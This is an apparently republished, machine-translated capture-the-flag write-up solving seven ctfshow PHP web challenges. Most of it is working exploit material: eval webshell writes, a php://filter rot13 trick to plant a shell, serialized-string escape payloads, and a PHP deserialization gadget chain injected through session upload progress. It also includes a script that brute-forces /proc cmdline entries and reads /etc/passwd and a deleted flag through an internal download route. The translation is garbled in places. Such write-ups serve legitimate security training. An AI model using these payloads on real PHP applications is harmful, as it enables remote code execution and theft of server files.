当前位置:网站首页>Ctfshow 2022 Spring Festival welcome (detailed commentary)

Ctfshow 2022 Spring Festival welcome (detailed commentary)

2022-07-05 04:04:00 Yn8rt

ctfshow New year welcome

Warm up

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */


eval($_GET['f']);

Write a sentence directly :?f=file_put_contents('2.php','<?php eval($_REQUEST[1]);highlight_file(__FILE__);?>');

phpinfo():[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-1kJ5vCl2-1644563627932)(http://images2.5666888.xyz//image-20220208175645977.png)]

There is a , Below this file is flag

Can directly cat tac

Train of thought two :

View the variables of the current page , Go straight out flag

?f=print_r(get_defined_vars());

web1

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

This is not to bypass death exit() Well

2016 In the year p God proposed a solution to this problem :https://www.leavesongs.com/PENETRATION/php-filter-magic.html
The times are progressing :php://filter Bypass death file_put_content() base64 The code of is small trick

There are online rot13 Coding is convenient for direct use

Online universal payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php========><?php @eval($_POST[cmd]);?>

web2

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
     //post The parameter quantity passed in must be only one 
        extract($_POST);
        if (call_user_func($$$$$${
    key($_POST)})==="HappyNewYear"){
     //invoke
                echo $flag;
        }
}
?>

session_id() Returns the current session ID. If there is no current session , Returns an empty string ("").

<?php
highlight_file(__FILE__);
session_start();
echo session_id();

The return value is PHPSESSID The content in

payload:

POST http://89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show/ HTTP/1.1
Host: 89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: log_Id_pv=5; PHPSESSID=HappyNewYear
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

session_id=session_id

web3

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */

highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
    
  echo $flag;
}

die(" Good luck in the year of the tiger , Happy New Year !");

payload:

?1=session_start
?1=error_reporting
?1=json_last_error

json_last_error: If there is , return JSON The last error in encoding and decoding .

error_reporting: If no optional parameters are set level, error_reporting() Only the current error reporting level will be returned .

session_start: Open a session

Here's one Weak comparison , Let's do an experiment :

<?php
$key = call_user_func('session_start');
var_dump($key);
// $val = "happy";
if($key=='happy'){
    
    var_dump($key);
    // var_dump($val);
    echo "happy";
}else{
    
    var_dump($val);
    echo 'failed';
}

E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:5:boolean true
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:8:boolean true
happy

There's one right here key The transformation that's going on , To put it bluntly, we need Pass in a function Can return 1 such , similar session_start ob_start

web4( The callback function writes after processing )

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */

highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die(" Good luck in the year of the tiger , Happy New Year !");

spl_autoload_extensions — Register and return spl_autoload The default file extension used by the function .

When this function is called without any parameters , It returns a list of the current file extensions , The different extensions are separated by commas . To modify the list of file extensions , Call this function with a comma separated new extension list string . Chinese note : default spl_autoload The extension used by the function is ".inc,.php".

?1=spl_autoload_extensions Generate .inc,.php file (shell file )

[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-nJ8LKoT1-1644563627933)(http://images2.5666888.xyz//image-20220210153925921.png)]

web5

official wp: Send a lot of hu You can enlarge the memory occupation through replacement , exceed php Maximum default memory 256M This will cause variable definition failure , A fatal error occurred, skipping subsequent overwrite writes

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */

error_reporting(0);
highlight_file(__FILE__);


include ".php";
file_put_contents("", $flag);
$ = str_replace("hu", "", $_POST['']);
file_put_contents("", $);

$a = str_repeat('hu',524280);

web6

<?php

error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];

function filter($img){
    
    $filter_arr = array('ctfshow','daniu','happyhuyear');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    
    unset($_SESSION);
}

$_SESSION['function'] = $function;

extract($_POST['GET']);

$_SESSION['file'] = base64_encode("/root/flag");

$serialize_info = filter(serialize($_SESSION));

if($function == 'GET'){
    
    $userinfo = unserialize($serialize_info);
    // The author has already taken flag, The title is normal , in other words ...
    echo file_get_contents(base64_decode($userinfo['file']));
}

The prompt is to read the log

 The configuration file   /etc/nginx/nginx.conf    L2V0Yy9uZ2lueC9uZ2lueC5jb25m
 Access log   /var/log/nginx/access.log

He is what he is :

<?php
$_SESSION['function'] = 'GET';
$_SESSION['file'] = base64_encode("/root/flag");
echo serialize($_SESSION);

//a:2:{s:8:"function";s:3:"GET";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}

We need to splice :

<?php
$_SESSION['file'] = base64_encode("/etc/nginx/nginx.conf");
echo serialize($_SESSION);

//a:1:{s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

because $_SESSION['file'] After variable override , So we need to squeeze him out

<?php
$_SESSION['function'] = 'GET';
$_SESSION['ctfshow'] = 's:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}';
$_SESSION['filx'] = base64_encode("/root/flag");
echo serialize($_SESSION);

//a:3:{s:8:"function";s:3:"GET";s:7:"ctfshow";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
 After filtering :
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
 Lack of 7 Characters will report an error , We need to fake it :
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
 Intercept forged sequences :
;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

Perform variable overrides :

GET[_SESSION][ctfshow]=;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

Empathy :

GET[_SESSION][ctfshowdaniu]=0000";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

What I need to do is fill the empty space for the filtered strings and merge

web7

index.php

<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
    
    phpinfo();
}
if (isset($_GET['source']))
{
    
    highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>

class.php

<?php
    class Happy {
    
        public $happy;
        function __construct(){
    
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
    
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
    
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
    
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
    
            echo $this->happy;
        }
    }

    class _New_{
    
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
    
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
    
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
    
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
    
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
    
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
    
        public $zodiac;
         public function __invoke()
        {
    
            echo "happy ".$this->zodiac." year!";

        }
         function __construct(){
    
                $this->zodiac="Hu";
        }
        public function __toString()
        {
    
                $this->show();

        }
        public function __set($key,$value)#3
        {
    
            $this->$key = $value;
        }

        public function show(){
    
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
    
            $this->zodiac = 'hu';
        }

    }
?>

The chain is more conventional :

Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()

poc:

<?php
    class Happy {
    
        public $happy;
    }

    class _New_{
    
        public $daniu;
        public $robot;
        public $notrobot;

 }
    class Year{
    
        public $zodiac;

    }

$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));

?>

//'O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}'

Processing script :( It is suggested to directly add poc Below )

<?php
$b = '|O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}';
echo addslashes($b);

//|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}

Form for submission :

<!DOCTYPE html>
<html>
<body>
<form action="http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

Replace filename The content of , You can verify

/proc/{pid}/cmdline It is readable by all users , You can write scripts to explode the process id Of cmdline

import requests
import time


def get_file(filename):
	data="""-----------------------------17234128115294 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 -----------------------------17234128115294 Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}"
Content-Type: text/plain


-----------------------------17234128115294--"""
	r=requests.post(url='http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/',data=data,headers={
    'Content-Type':'multipart/form-data; boundary=---------------------------17234128115294','Cookie': 'PHPSESSID=73de676b0bc50d3d9a2de4c89cc5c1cf'})
	return(r.text.encode()[1990:])# Remove the source code information ,encode To show \00

for i in range(999):
	print(i)
	print(get_file('/proc/'+str(i)+'/cmdline'))
	time.sleep(0.2)

[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-Vi7EUTMA-1644563627933)(http://images2.5666888.xyz//image-20220211150208933.png)]

Here it is. /proc/114/cmdline in :python3/app/server.py

//filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:14:\"/app/server.py\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"

import os

app = Flask(__name__)
flag=open('/flag','r')
#flag I deleted 
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
	return "flag I deleted , Don't look for it "

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

flag Is in open Later deleted , And it hasn't been released yet , So it can be /proc/self/fd/ Find below , But there should be a place where you can read documents ,/download/ You can read files under the route , So read flag

filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:56:\"http://127.0.0.1:5000/download/?filename=/proc/self/fd/3\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"

0 yes stdin 1 yes stdout 2 yes stderr,fd Number can be from 3 Start trying .

原网站

版权声明
本文为[Yn8rt]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202140712433679.html